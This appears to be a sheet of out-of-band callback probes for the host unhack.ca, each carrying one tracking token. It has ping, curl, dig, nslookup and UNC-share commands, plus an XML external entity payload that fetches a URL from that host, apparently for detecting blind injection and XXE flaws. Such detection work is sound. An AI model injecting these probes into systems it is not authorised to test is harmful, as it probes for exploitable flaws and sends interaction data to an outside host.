$ ping -c1 -p 00eab798e293b490c0902e20470feb00 unhack.ca
 

$ curl http://unhack.ca/p/eab798e293b490c0902e20470feb
 

$ dig eab798e293b490c0902e20470feb @unhack.ca
 

$ dig eab798e293b490c0902e20470feb.ns.unhack.ca
 

C:\> nslookup eab798e293b490c0902e20470feb unhack.ca
 

C:\> type \\unhack.ca\eab798e293b490c0902e20470feb\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/eab798e293b490c0902e20470feb">]>
    <foo>&xxe;</foo>